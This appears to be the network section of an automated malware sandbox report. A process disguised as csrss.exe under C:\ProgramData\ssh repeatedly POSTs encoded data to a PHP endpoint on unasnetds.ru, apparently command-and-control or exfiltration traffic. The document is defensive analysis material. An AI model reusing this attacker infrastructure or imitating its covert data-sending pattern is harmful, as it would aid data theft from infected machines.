Jan 3, 2025 11:48:53.140470982 CET	51968	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:53.140475988 CET	51969	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:53.145342112 CET	80	51969	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:53.145416021 CET	80	51968	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:53.145606041 CET	51968	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:53.145606995 CET	51969	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:53.145853043 CET	51969	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:53.150587082 CET	80	51969	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:53.502931118 CET	51969	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:53.507770061 CET	80	51969	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:53.607803106 CET	80	51969	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:53.659800053 CET	51969	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:53.874700069 CET	80	51969	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:53.924711943 CET	51969	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:54.608309984 CET	51969	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:54.609200954 CET	51970	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:54.615403891 CET	80	51970	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:54.615473032 CET	51970	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:54.615757942 CET	51970	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:54.616461992 CET	51971	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:54.616908073 CET	51970	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:54.619282007 CET	80	51969	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:54.619339943 CET	51969	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:54.620527983 CET	80	51970	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:54.621289968 CET	80	51971	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:54.621350050 CET	51971	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:54.656033993 CET	51971	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:54.660851955 CET	80	51971	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:54.663492918 CET	80	51970	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:54.880537987 CET	51972	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:54.885359049 CET	80	51972	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:54.885467052 CET	51972	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:54.885575056 CET	51972	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:54.890366077 CET	80	51972	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:54.974100113 CET	80	51970	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:54.974149942 CET	51970	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:55.002960920 CET	51971	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:55.007807016 CET	80	51971	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:55.007869959 CET	80	51971	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:55.085510015 CET	80	51971	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:55.127835035 CET	51971	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:55.237801075 CET	51972	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:55.242554903 CET	80	51972	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:55.263932943 CET	80	51971	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:55.315342903 CET	51971	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:55.357649088 CET	80	51972	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:55.409080029 CET	51972	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:55.600039005 CET	80	51972	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:55.643466949 CET	51972	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:55.719862938 CET	51971	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:55.719883919 CET	51972	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:55.720638037 CET	51973	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:55.724977016 CET	80	51971	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:55.725157976 CET	51971	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:55.725271940 CET	80	51972	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:55.725418091 CET	80	51973	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:55.725506067 CET	51972	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:55.725507975 CET	51973	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:55.725686073 CET	51973	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:55.730446100 CET	80	51973	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:56.081434011 CET	51973	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:56.086271048 CET	80	51973	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:56.177251101 CET	80	51973	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:56.221647978 CET	51973	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:56.346363068 CET	80	51973	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:56.393533945 CET	51973	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:56.467792988 CET	51974	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:56.472584009 CET	80	51974	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:56.472675085 CET	51974	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:56.472827911 CET	51974	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:56.477624893 CET	80	51974	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:56.832779884 CET	51974	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:56.837625980 CET	80	51974	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:56.915946960 CET	80	51974	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:56.971606016 CET	51974	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:57.169044971 CET	80	51974	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:57.223824024 CET	51974	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:57.419400930 CET	51974	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:57.420044899 CET	51975	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:57.424701929 CET	80	51974	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:57.424851894 CET	80	51975	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:57.424880981 CET	51974	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:57.424954891 CET	51975	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:57.427813053 CET	51975	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:57.432653904 CET	80	51975	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:57.785038948 CET	51975	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:57.789911032 CET	80	51975	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:57.877693892 CET	80	51975	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:57.924709082 CET	51975	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:58.140975952 CET	80	51975	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:58.190340042 CET	51975	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:58.279473066 CET	51975	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:58.280096054 CET	51976	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:58.284531116 CET	80	51975	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:58.284580946 CET	51975	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:58.284936905 CET	80	51976	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:58.284991980 CET	51976	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:58.285161972 CET	51976	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:58.289968014 CET	80	51976	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:58.644009113 CET	51976	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:58.648909092 CET	80	51976	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:58.728967905 CET	80	51976	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:58.785837889 CET	51976	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:58.986650944 CET	80	51976	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:59.035819054 CET	51976	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:59.109565973 CET	51976	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:59.109566927 CET	51973	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:59.109580994 CET	51977	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:59.114377975 CET	80	51977	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:59.114545107 CET	51977	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:59.114612103 CET	80	51976	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:59.114614964 CET	51977	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:59.119426012 CET	80	51977	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:59.119554043 CET	51976	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:59.472506046 CET	51977	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:59.477341890 CET	80	51977	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:59.586544037 CET	80	51977	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:59.627888918 CET	51977	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:59.841639042 CET	80	51977	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:59.893562078 CET	51977	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:00.704719067 CET	51978	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:00.709542990 CET	80	51978	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:00.709618092 CET	51978	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:00.710151911 CET	51978	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:00.714950085 CET	80	51978	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:00.837598085 CET	51979	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:00.842474937 CET	80	51979	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:00.842530012 CET	51979	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:00.842634916 CET	51979	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:00.847372055 CET	80	51979	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:01.066234112 CET	51978	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:01.071070910 CET	80	51978	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:01.071293116 CET	80	51978	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:01.153712034 CET	80	51978	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:01.191135883 CET	51979	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:01.195991039 CET	80	51979	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:01.205970049 CET	51978	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:01.301657915 CET	80	51979	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:01.346709967 CET	51979	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:01.458920002 CET	80	51978	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:01.502851009 CET	51978	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:01.552546024 CET	80	51979	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:01.596600056 CET	51979	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:01.678423882 CET	51978	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:01.678489923 CET	51977	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:01.678555965 CET	51979	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:01.679366112 CET	51980	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:01.683368921 CET	80	51978	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:01.683418989 CET	51978	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:01.683744907 CET	80	51977	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:01.683794022 CET	80	51979	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:01.683809042 CET	51977	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:01.683845997 CET	51979	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:01.684124947 CET	80	51980	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:01.684190989 CET	51980	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:01.684351921 CET	51980	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:01.689070940 CET	80	51980	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:02.034306049 CET	51980	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:02.039268970 CET	80	51980	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:02.124478102 CET	80	51980	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:02.179835081 CET	51980	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:02.391737938 CET	80	51980	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:02.443841934 CET	51980	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:02.514854908 CET	51981	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:02.519726992 CET	80	51981	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:02.520066023 CET	51981	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:02.520143986 CET	51981	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:02.524991035 CET	80	51981	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:02.880011082 CET	51981	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:02.884790897 CET	80	51981	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:02.979721069 CET	80	51981	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:03.127867937 CET	51981	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:03.235371113 CET	80	51981	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:03.424735069 CET	51981	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:04.396229982 CET	80	51981	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:04.396313906 CET	80	51981	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:04.396348953 CET	51981	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:04.396435022 CET	80	51981	188.114.97.3	192.168.2.4
Jan 3, 2025 11:49:04.396486998 CET	51981	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:49:04.396990061 CET	51981	80	192.168.2.4	188.114.97.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 3, 2025 11:47:09.832613945 CET	56770	53	192.168.2.4	1.1.1.1
Jan 3, 2025 11:47:09.966326952 CET	53	56770	1.1.1.1	192.168.2.4
Jan 3, 2025 11:47:30.861895084 CET	53	60324	162.159.36.2	192.168.2.4
Jan 3, 2025 11:47:31.482383013 CET	61078	53	192.168.2.4	1.1.1.1
Jan 3, 2025 11:47:31.494311094 CET	53	61078	1.1.1.1	192.168.2.4
Jan 3, 2025 11:47:33.909332037 CET	57238	53	192.168.2.4	1.1.1.1
Jan 3, 2025 11:47:34.063553095 CET	53	57238	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 3, 2025 11:47:09.832613945 CET	192.168.2.4	1.1.1.1	0xf768	Standard query (0)	unasnetds.ru	A (IP address)	IN (0x0001)	false
Jan 3, 2025 11:47:31.482383013 CET	192.168.2.4	1.1.1.1	0x9295	Standard query (0)	198.187.3.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jan 3, 2025 11:47:33.909332037 CET	192.168.2.4	1.1.1.1	0xf5d6	Standard query (0)	unasnetds.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 3, 2025 11:47:09.966326952 CET	1.1.1.1	192.168.2.4	0xf768	No error (0)	unasnetds.ru		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 3, 2025 11:47:09.966326952 CET	1.1.1.1	192.168.2.4	0xf768	No error (0)	unasnetds.ru		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 3, 2025 11:47:31.494311094 CET	1.1.1.1	192.168.2.4	0x9295	Name error (3)	198.187.3.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jan 3, 2025 11:47:34.063553095 CET	1.1.1.1	192.168.2.4	0xf5d6	No error (0)	unasnetds.ru		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 3, 2025 11:47:34.063553095 CET	1.1.1.1	192.168.2.4	0xf5d6	No error (0)	unasnetds.ru		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

unasnetds.ru

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:09.995050907 CET	344	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:10.347191095 CET	344	OUT	Data Raw: 00 04 04 00 03 08 01 03 05 06 02 01 02 00 01 07 00 0b 05 0d 02 07 03 08 07 02 0d 06 03 01 00 04 0d 56 04 5b 00 57 07 04 0b 0a 07 03 04 06 04 01 06 53 0e 59 0a 0e 04 0a 04 0e 03 01 06 02 06 0a 02 03 0d 0b 05 53 06 56 0e 00 0c 03 0f 02 0f 51 02 07 Data Ascii: V[WSYSVQPQV\L~\|`z`b_bfkThBucXhkZyo{zprh}pNwIk_j_~V@{}P}Lq
Jan 3, 2025 11:47:10.466262102 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:10.743771076 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lH6Xv2lrJJqAwsqAGRw3sloK8WSJf5zDUQYZrgskmDiYnpPuTHO1UP02Mr%2BRi4QejKBvWiZiWd4LkKCPLDX%2BNpCBmUpfIU4swtvLp7vhj2Hq56S0EwTCigcZ651eIOg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc268c21d35425c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4534&min_rtt=1696&rtt_var=6313&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=688&delivery_rate=59821&cwnd=225&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 35 34 34 0d 0a 56 4a 7e 06 78 6e 68 59 78 5b 6b 5c 7f 4f 7c 5a 7c 77 74 54 7c 06 76 52 7a 5d 51 5f 69 4c 70 49 60 05 65 0b 7b 71 65 03 62 58 74 07 6a 4b 78 01 55 4b 71 40 63 62 7c 5b 68 5c 69 4f 6b 67 54 40 6f 00 6c 08 7d 70 7b 48 62 5c 71 06 60 61 75 01 68 07 7e 48 7e 7c 60 43 6a 77 6b 00 76 66 7b 06 7c 5c 5f 47 7d 4e 7e 59 78 67 78 04 6f 59 7b 58 78 43 59 48 7a 72 59 58 78 73 66 41 68 59 7c 4a 79 77 56 4a 69 62 67 4d 62 61 70 4a 7a 51 41 5b 6b 49 7c 08 7f 5f 66 54 61 6c 68 03 7a 7f 60 04 76 70 5f 52 7a 62 62 5d 69 6c 66 05 6f 62 7d 59 62 5d 67 44 62 71 6c 4f 77 5f 76 50 7e 5d 7a 06 77 4c 6d 00 76 66 60 09 7e 6c 65 04 77 7c 78 04 7f 70 7c 07 78 6f 73 03 7b 59 76 01 7c 6d 5a 08 60 59 6f 5d 69 62 65 50 69 54 6f 41 7b 7e 62 05 69 04 66 5b 7b 5d 46 51 7d 7c 63 50 6a 73 74 4f 7d 67 7a 06 78 7e 60 58 78 62 55 5b 7c 61 5a 5f 7e 77 55 0a 6b 73 7e 53 6e 70 70 00 69 62 7b 5d 60 5d 57 51 7b 5c 79 01 75 66 74 02 7c 66 74 07 7e 66 75 0b 76 62 6b 06 7d 62 69 42 7d 67 72 41 78 76 70 0d 7c 73 51 01 75 62 6d 4e 77 [TRUNCATED] Data Ascii: 544VJ~xnhYx[k\O\|Z\|wtT\|vRz]Q_iLpI`e{qebXtjKxUKq@cb\|[h\iOkgT@ol}p{Hb\q`auh~H~\|`Cjwkvf{\|\_G}N~YxgxoY{XxCYHzrYXxsfAhY\|JywVJibgMbapJzQA[kI\|_fTalhz`vp_Rzbb]ilfob}Yb]gDbqlOw_vP~]zwLmvf`~lew\|xp\|xos{Yv\|mZ`Yo]ibePiToA{~bif[{]FQ}\|cPjstO}gzx~`XxbU[\|aZ_~wUks~Snppib{]`]WQ{\yuft\|ft~fuvbk}biB}grAxvp\|sQubmNwO[av~\|\|N~IcDuOkzbm}^_xYRygp{m{ybtHzsnN`{Id~r]uqpH}lowhOaew\|t{\|\|w^vAyOS}lfxOvFuMUJvO^w_\\|Nfw\
Jan 3, 2025 11:47:10.743783951 CET	905	IN	Data Raw: 5f 4d 75 75 78 09 7e 7c 69 06 74 7c 70 4f 7c 73 70 44 79 7c 55 02 7b 5e 7e 07 7c 6d 5a 0b 74 59 70 04 7f 72 66 42 7d 53 73 42 7b 7d 66 4f 7d 72 57 06 7d 60 56 4f 7d 6c 6c 41 7e 5e 74 0b 7e 49 76 04 78 53 7b 44 7b 5c 64 00 7c 71 67 49 7c 77 67 40 Data Ascii: _Muux~\|it\|pO\|spDy\|U{^~\|mZtYprfB}SsB{}fO}rW}`VO}llA~^t~IvxS{D{\d\|qgI\|wg@`Wzs\|b^tsyzqqIwfxJ}XhO}XSAt\\|LS\|wjA{fp@~]gvL_Ow_qG\|OX~Rx~I{Jvq{b[H~^uxI\|{w^{CsybRKxM\{]NZxwlK\|aovr`J}RcI{Sk_mCvlxNzlptqTyarX}Rf_z\yvxBa
Jan 3, 2025 11:47:10.832937002 CET	320	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 384 Expect: 100-continue
Jan 3, 2025 11:47:10.932276011 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:10.932837963 CET	384	OUT	Data Raw: 5f 57 5b 5b 5d 5c 55 5f 5a 5d 59 57 59 59 5b 5a 5f 52 54 5c 50 5b 5b 5e 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _W[[]\U_Z]YWYY[Z_RT\P[[^Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'-6#+7+Y$>#X?%[?*'U'=)4?T&?'<]=> \'%^.
Jan 3, 2025 11:47:11.195446014 CET	956	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ucl55a1pkY9wpvO3q8WqyZ%2Bup08xYhesNNGw2yUFHkVxkXW5gTb7kcL9hSByoM2OUshiw6licX%2FThwFbq%2FO%2B35URicSgtkUR7dJor%2BDRDyygBXYI5xDP677Bv8I9OGQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc268c50f2b425c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5082&min_rtt=1677&rtt_var=5869&sent=9&recv=10&lost=0&retrans=0&sent_bytes=2191&recv_bytes=1392&delivery_rate=2515795&cwnd=229&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0c 1d 21 58 34 3d 3c 03 26 2a 24 0f 30 3a 31 56 23 37 36 59 2d 2a 3d 5f 33 2c 05 53 3d 29 27 11 24 11 0c 07 3e 38 0f 51 26 2c 3e 02 32 39 2e 59 0d 11 38 5a 2b 05 3f 54 3e 07 30 54 2a 3f 01 1c 30 3c 30 5e 3e 15 01 59 3c 1c 24 52 37 06 25 54 2a 21 31 1f 29 1d 26 02 29 0b 3f 5b 32 35 2c 5e 0b 12 27 0e 29 31 29 53 34 1f 29 58 31 04 27 5e 26 2a 37 1d 21 20 37 09 27 28 23 07 3b 0c 3d 14 32 09 38 1d 3d 01 30 5e 20 28 07 0a 3f 3d 27 50 2c 00 28 52 00 31 56 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98!X4=<&$0:1V#76Y-=_3,S=)'$>8Q&,>29.Y8Z+?T>0T?0<0^>Y<$R7%T!1)&)?[25,^')1)S4)X1'^&*7! 7'(#;=28=0^ (?='P,(R1VT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:12.576687098 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1728 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:12.664693117 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	188.114.96.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:12.911817074 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
